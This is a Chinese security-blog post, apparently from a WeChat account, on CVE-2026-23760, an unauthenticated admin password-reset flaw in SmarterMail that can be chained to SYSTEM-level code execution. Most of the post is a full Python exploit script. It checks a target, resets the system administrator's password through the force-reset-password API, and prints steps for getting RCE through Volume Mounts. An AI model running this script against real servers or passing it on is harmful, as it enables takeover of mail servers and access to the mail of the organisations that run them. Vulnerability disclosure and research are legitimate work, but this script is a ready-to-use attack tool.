
0x00 前言
SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。
0x01 漏洞描述
漏洞源于系统管理员(IsSysAdmin=true)的密码重置路径未验证OldPassword字段的有效性,仅依赖用户输入的Username和NewPassword即可直接修改系统管理员账户密码。
远程攻击者通过构造特定HTTP请求即可重置管理员密码,并进一步利用内置的“Volume Mounts”功能实现SYSTEM权限提权,最终实现未授权远程代码执行(RCE)。
0x02 CVE编号
CVE-2026-23760
0x03 影响版本
SmarterMail < Build 9511
0x04 漏洞详情
POC:
https://github.com/g0vguy/WT-2026-0001
#!/usr/bin/env python3
import requests
import json
import sys
import urllib3
import argparse
from typing import Dict, Optional
# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class SmarterMailExploit:
def __init__(self, target: str, username: str = "admin", new_password: str = "Hacked123!@#"):
self.target = target.rstrip('/')
self.username = username
self.new_password = new_password
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json',
'Accept': 'application/json'
})
def check_vulnerability(self) -> bool:
test_payload = {
"IsSysAdmin": "true",
"OldPassword": "anything",
"Username": self.username,
"NewPassword": "Test123!@#",
"ConfirmPassword": "Test123!@#"
}
try:
url = f"{self.target}/api/v1/auth/force-reset-password"
response = self.session.post(url, json=test_payload, timeout=10)
if response.status_code == 200:
resp_json = response.json()
if resp_json.get('success') == True:
print("[+] Target appears VULNERABLE")
return True
else:
if "Invalid input parameters" in resp_json.get('message', ''):
print("[-] Target appears PATCHED (post-9511)")
else:
print(f"[-] Failed: {resp_json.get('message', 'Unknown error')}")
else:
print(f"[-] HTTP {response.status_code}: Target may be patched or unreachable")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
except json.JSONDecodeError:
print(f"[-] Invalid JSON response")
return False
def exploit(self) -> bool:
print(f"[*] Targeting: {self.target}")
print(f"[*] Admin user: {self.username}")
print(f"[*] New password: {self.new_password}")
exploit_payload = {
"IsSysAdmin": "true",
"OldPassword": "anything_can_go_here",
"Username": self.username,
"NewPassword": self.new_password,
"ConfirmPassword": self.new_password
}
print(f"\n[*] Sending exploit payload...")
print(f" Endpoint: POST /api/v1/auth/force-reset-password")
print(f" Payload: {json.dumps(exploit_payload, indent=4)}")
try:
url = f"{self.target}/api/v1/auth/force-reset-password"
response = self.session.post(url, json=exploit_payload, timeout=15)
print(f"\n[*] Response Status: {response.status_code}")
if response.status_code == 200:
resp_json = response.json()
print(f"[*] Response Body: {json.dumps(resp_json, indent=2)}")
if resp_json.get('success') == True:
print(f"\n[+] EXPLOIT SUCCESSFUL!")
print(f"[+] Admin password has been changed")
print(f"[+] Username: {self.username}")
print(f"[+] New Password: {self.new_password}")
print(f"\n[+] Next steps:")
print(f" 1. Login to {self.target}/login.aspx")
print(f" 2. Navigate to Settings -> Volume Mounts")
print(f" 3. Use 'Volume Mount Command' for RCE")
return True
else:
print(f"[-] Exploit failed: {resp_json.get('message', 'Unknown')}")
if 'debugInfo' in resp_json:
debug_lines = resp_json['debugInfo'].split('\\r\\n')
print(f"[-] Debug trail: {' -> '.join([d for d in debug_lines if d])}")
else:
print(f"[-] Server returned HTTP {response.status_code}")
if response.text:
print(f"[-] Response: {response.text[:500]}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
except json.JSONDecodeError as e:
print(f"[-] Failed to parse response: {e}")
if response.text:
print(f"[-] Raw response: {response.text[:500]}")
return False
def verify_login(self) -> bool:
print(f"\n[*] Attempting to verify credentials...")
print(f"[*] Manual verification required:")
print(f" 1. Visit {self.target}/login.aspx")
print(f" 2. Username: {self.username}")
print(f" 3. Password: {self.new_password}")
return True
def main():
parser = argparse.ArgumentParser(description='SmarterMail WT-2026-0001 Authentication Bypass Exploit')
parser.add_argument('target', help='Target URL (e.g., https://mail.example.com:9998)')
parser.add_argument('-u', '--username', default='admin', help='Admin username (default: admin)')
parser.add_argument('-p', '--password', default='Hacked123!@#', help='New password to set')
parser.add_argument('-c', '--check-only', action='store_true', help='Only check if vulnerable')
args = parser.parse_args()
print("""
███████╗███╗ ███╗ █████╗ ██╗███╗ ██╗███████╗██████╗
██╔════╝████╗ ████║██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
███████╗██╔████╔██║███████║██║██╔██╗ ██║█████╗ ██████╔╝
╚════██║██║╚██╔╝██║██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
SmarterMail WT-2026-0001 Auth Bypass Exploit - S 1 D E R
""")
exploit = SmarterMailExploit(args.target, args.username, args.password)
if args.check_only:
print(f"[*] Checking vulnerability status...")
exploit.check_vulnerability()
else:
if exploit.check_vulnerability():
print(f"\n[*] Proceeding with exploitation...")
if exploit.exploit():
exploit.verify_login()
else:
print(f"\n[-] Target does not appear vulnerable. Exploitation aborted.")
if __name__ == "__main__":
main()

0x05 参考链接
https://www.smartertools.com/smartermail/release-notes/current
https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/
推荐阅读:
CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)
CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)
CVE-2025-68645|Zimbra本地文件包含漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。